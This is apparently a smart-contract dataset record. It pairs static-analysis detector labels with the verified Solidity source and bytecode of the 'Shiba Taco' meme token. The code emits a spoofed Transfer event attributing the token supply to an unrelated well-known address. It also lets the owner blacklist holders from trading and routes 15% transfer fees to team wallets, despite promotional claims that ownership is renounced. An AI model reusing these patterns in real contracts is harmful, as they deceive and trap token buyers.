a165627a7a723058200e1b1cfdd66c0aa8406a674da85ff87244495380f5e4edc45ca7af26388f55b80029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,857
0x774c52f14879966524873c64262882879052c9ae
/** *Submitted for verification at Etherscan.io on 2021-06-08 */ /** *Submitted for verification at Etherscan.io on 2021-06-07 */ /* t.me/shibataco Shiba Taco $SHIBTACO So delicious! _ _ _ _ | | (_) | | | ___| |__ _| |__ | |_ __ _ ___ ___ / __| '_ \| | '_ \| __/ _` |/ __/ _ \ \__ \ | | | | |_) | || (_| | (_| (_) | |___/_| |_|_|_.__/ \__\__,_|\___\___/ Twitter: https://twitter.com/shibataco Telegram: https://t.me/shibataco Instagram: https://instagram.com/realshibataco?utm_medium=copy_link Website: shibataco.com Reddit: https://www.reddit.com/r/ShibaTaco Marketing paid Liqudity Locked Ownership renounced No Devwallets CG, CMC listing: Ongoing Devs of Shibramen © SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SHIBATACO is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Shiba Taco"; string private constant _symbol = unicode'SHIBTACO🌮'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600a81526020017f5368696261205461636f00000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f534849425441434ff09f8cae0000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af290613275565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b5f57600080fd5b6000610b6a30610786565b9050610b7581611d05565b50565b610b806112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0490612ebf565b60405180910390fd5b601160149054906101000a900460ff1615610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612f3f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf030601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3657600080fd5b505afa158015610d4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6e919061286f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd057600080fd5b505afa158015610de4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e08919061286f565b6040518363ffffffff1660e01b8152600401610e25929190612d0f565b602060405180830381600087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e77919061286f565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0030610786565b600080610f0b61092a565b426040518863ffffffff1660e01b8152600401610f2d96959493929190612d61565b6060604051808303818588803b158015610f4657600080fd5b505af1158015610f5a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f7f9190612a1b565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611084929190612d38565b602060405180830381600087803b15801561109e57600080fd5b505af11580156110b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d691906129c9565b5050565b6110e26112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116690612ebf565b60405180910390fd5b600081116111b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a990612e7f565b60405180910390fd5b6111e460646111d6836b033b2e3c9fd0803ce8000000611fff90919063ffffffff16565b61207a90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b9190612f5f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c90612f1f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612e3f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114739190612f5f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790612eff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612dff565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a90612edf565b60405180910390fd5b6005600a81905550600a600b819055506115bb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561162957506115f961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a7557600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d25750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116db57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117865750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117dc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f45750601160179054906101000a900460ff165b156118a45760125481111561180857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061185357600080fd5b601e426118609190613095565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561194f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119bb576005600a81905550600a600b819055505b60006119c630610786565b9050601160159054906101000a900460ff16158015611a335750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a4b5750601160169054906101000a900460ff165b15611a7357611a5981611d05565b60004790506000811115611a7157611a7047611b9c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b1c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b2657600090505b611b32848484846120c4565b50505050565b6000838311158290611b80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b779190612ddd565b60405180910390fd5b5060008385611b8f9190613176565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bec60028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c17573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c6860028461207a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c93573d6000803e3d6000fd5b5050565b6000600854821115611cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd590612e1f565b60405180910390fd5b6000611ce86120f1565b9050611cfd818461207a90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d63577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d915781602001602082028036833780820191505090505b5090503081600081518110611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e7157600080fd5b505afa158015611e85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea9919061286f565b81600181518110611ee3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4a30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fae959493929190612f7a565b600060405180830381600087803b158015611fc857600080fd5b505af1158015611fdc573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120125760009050612074565b60008284612020919061311c565b905082848261202f91906130eb565b1461206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690612e9f565b60405180910390fd5b809150505b92915050565b60006120bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061211c565b905092915050565b806120d2576120d161217f565b5b6120dd8484846121c2565b806120eb576120ea61238d565b5b50505050565b60008060006120fe6123a1565b91509150612115818361207a90919063ffffffff16565b9250505090565b60008083118290612163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215a9190612ddd565b60405180910390fd5b506000838561217291906130eb565b9050809150509392505050565b6000600a5414801561219357506000600b54145b1561219d576121c0565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d48761240c565b95509550955095509550955061223286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123138161251c565b61231d84836125d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161237a9190612f5f565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123dd6b033b2e3c9fd0803ce800000060085461207a90919063ffffffff16565b8210156123ff576008546b033b2e3c9fd0803ce8000000935093505050612408565b81819350935050505b9091565b60008060008060008060008060006124298a600a54600b54612613565b92509250925060006124396120f1565b9050600080600061244c8e8787876126a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b38565b905092915050565b60008082846124cd9190613095565b905083811015612512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250990612e5f565b60405180910390fd5b8091505092915050565b60006125266120f1565b9050600061253d8284611fff90919063ffffffff16565b905061259181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125ee8260085461247490919063ffffffff16565b600881905550612609816009546124be90919063ffffffff16565b6009819055505050565b60008060008061263f6064612631888a611fff90919063ffffffff16565b61207a90919063ffffffff16565b90506000612669606461265b888b611fff90919063ffffffff16565b61207a90919063ffffffff16565b9050600061269282612684858c61247490919063ffffffff16565b61247490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126c28589611fff90919063ffffffff16565b905060006126d98689611fff90919063ffffffff16565b905060006126f08789611fff90919063ffffffff16565b905060006127198261270b858761247490919063ffffffff16565b61247490919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061274561274084613014565b612fef565b9050808382526020820190508285602086028201111561276457600080fd5b60005b85811015612794578161277a888261279e565b845260208401935060208301925050600181019050612767565b5050509392505050565b6000813590506127ad81613629565b92915050565b6000815190506127c281613629565b92915050565b600082601f8301126127d957600080fd5b81356127e9848260208601612732565b915050